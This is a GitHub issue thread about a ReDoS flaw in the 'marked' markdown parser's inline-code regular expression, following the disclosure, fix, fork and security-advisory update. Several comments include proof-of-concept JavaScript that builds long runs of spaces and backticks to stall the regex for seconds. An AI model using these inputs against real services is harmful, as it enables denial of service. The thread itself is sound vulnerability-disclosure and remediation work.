Vulnerable Regular Expression

[cristianstaicu]

The following regular expression used in parsing the input markdown content is vulnerable to ReDoS:

/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/

The slowdown is very serious (for 1,000 characters around 6 seconds matching time). I would suggest one of the following:

• remove the regex,
• anchor the regex,
• limit the number of characters that can be matched by the repetition,
• limit the input size.

If needed, I can provide an actual example showing the slowdown.

[zmillman]

fwiw, tough-cookie addressed a similar issue with a limit on the matched number of characters: salesforce/tough-cookie#97

[prantlf]

Adapting the code sample from the salesforce/tough-cookie#97 exploit shows, that having a lot of space characters in the input expression can make the formatting 1000x slower. Formatting an inline code expression takes 5s, if there are 50,000 spaces inside it. If there are 50,000 other characters there, formatting takes just 5ms.

function genstr(len, chr) {
  var result = '';
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var marked = require('marked');
var input =  '`x' + genstr(50000, ' ') + 'x`'; 
var start = process.hrtime();
var output = marked(input);
var end = process.hrtime(start);

console.info('Execution time (hr): %ds %dms', end[0], end[1] / 1000000);

The original solution of salesforce/tough-cookie#97 was limiting the repetition to maximum 256 occurrences, which was probably enough for real-world scenarios, but it didn't comply with the specification in RFC 2965. They probably did it as an emergency to close the security issue. They removed the limit in the final solution: salesforce/tough-cookie/pull/98.

[prantlf]

The sample code can be reduced to test the single regular expression:

function genstr(len, chr) {
  var result = '';
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var input =  '`x' + genstr(50000, ' ') + 'x`'; 
var regex = /^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/;
var start = process.hrtime();
var output = input.replace(regex, '<code>$2</code>');
var end = process.hrtime(start);

console.info('Execution time (hr): %ds %dms', end[0], end[1] / 1000000);

[UziTech]

seems like trimming the code after the regexp reduces the time from ~5s to <1ms #945

[ghost]

Is this getting fixed? I'm getting security warnings from nsp check in our builds now. I'll have to use another module if not.

[jwalton]

It has been nine months since the last activity on this repo. -_-

[ghost]

Yeah I've decided to use another module.

[UziTech]

I added the pull request for the fix to the 8fold fork: https://github.com/8fold/marked/pull/1

Hopefully we won't need to resort to a fork but @chjj seems to be letting this go.

[joshbruce]

Merged. Looking for collaborators who wouldn't mind helping manage PRs and whatnot over at 8fold/marked...don't want to be stop-gap to the flow.

Is this worthy of a patch release to 0.3.8 of 8fold/marked?

[kunagpal]

@joshbruce Yes, this should unblock a ton of people as far as NSP errors are concerned.

[joshbruce]

@UziTech - If nothing else, maybe @chjj can transfer the project to someone in the community. I haven't heard anything from @chjj regarding the future of the base project, but 8fold would accept the transfer to maintain the package name.

[joshbruce]

https://www.npmjs.com/package/8fold-marked - The deed is done. Please confirm.

[fboes]

@cristianstaicu Does this also fix https://nodesecurity.io/advisories/531 ?

[UziTech]

This has not been fixed yet in the node module. @joshbruce we should get #958 pushed out so /lib/marked.js is up to date with marked.min.js

[joshbruce]

@UziTech: Agreed. Two things stopping that.

1. The merge conflicts.
2. "We" introduced one failing test.
3. There is a test that appears to have been failing from a while back.

At work right now, if you have time, are you able to check out the branch and handle the merge conflicts. If the two failing tests aren't checking anything critical, I'm with doing the release as long as we add an issue to fix those tests.

This would be fixed if we used a solution per #967

[evilpacket]

@UziTech @joshbruce reading through this it appears that 0.3.7 addresses this particular issue is that correct? I wanted to update our nsp advisory to reflect that it's been fixed if that's the case.

[UziTech]

I believe 0.3.7 only fixes marked.min.js not the npm package. @joshbruce if you could merge #945 and submit a new release that would fix the security issue while we work on getting the tests working in #958

[joshbruce]

@evilpacket: I would love that! Are there any tests you can run on your end to verify?

The package has gone a little stale and I'm not sure if this one merge fixes all of the XSS vulnerabilities.

See #956

[evilpacket]

I don't have the original poc, I could probably figure it out based on the above but I think we could short cut that with some info from Cristian. @cristianstaicu as you had the original poc can you help with this?

[joshbruce]

@evilpacket: #958 - Forgot about this one...seen a lot of tickets. :)

[cristianstaicu]

Hey guys,

It's great to see that the reported issues are getting fixed. Here is a PoC for the reported slowdown:

var marked = require('marked');
var av = genstr(8, "`") + genstr(1500, " ") + genstr(11, "`")

measureTime(function() {
    var agent = marked(av); 
});

function genstr(len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }
    return result;
}

function measureTime(f, print) {
    var start = process.hrtime();
    f();
    var end = process.hrtime(start);
    if (print === false) {

    } else {
        //console.log(end);
        console.info("Execution time (hr): %ds %dms", end[0], end[1] / 1000000);
    }
    return end;
}

[vogloblinsky]

Hi guys,

Is it possible to notify Node Security Platform that this issue is closed ?

https://nodesecurity.io/advisories/531

Thanks

[joshbruce]

@vogloblinsky: I don't know how to do this. And I'm not sure how to test it (se previous conversation with @evilpacket).

Could you take the reins? 0.3.9 should take care of all the known XSS vulnerabilities, but I don't know of anyone in the community who can or knows how to confirm it. @matt- & @UziTech - Thoughts?

[vogloblinsky]

@joshbruce
nodesecurity updated : https://nodesecurity.io/advisories/531

[joshbruce]

Awesome! Thank you so much.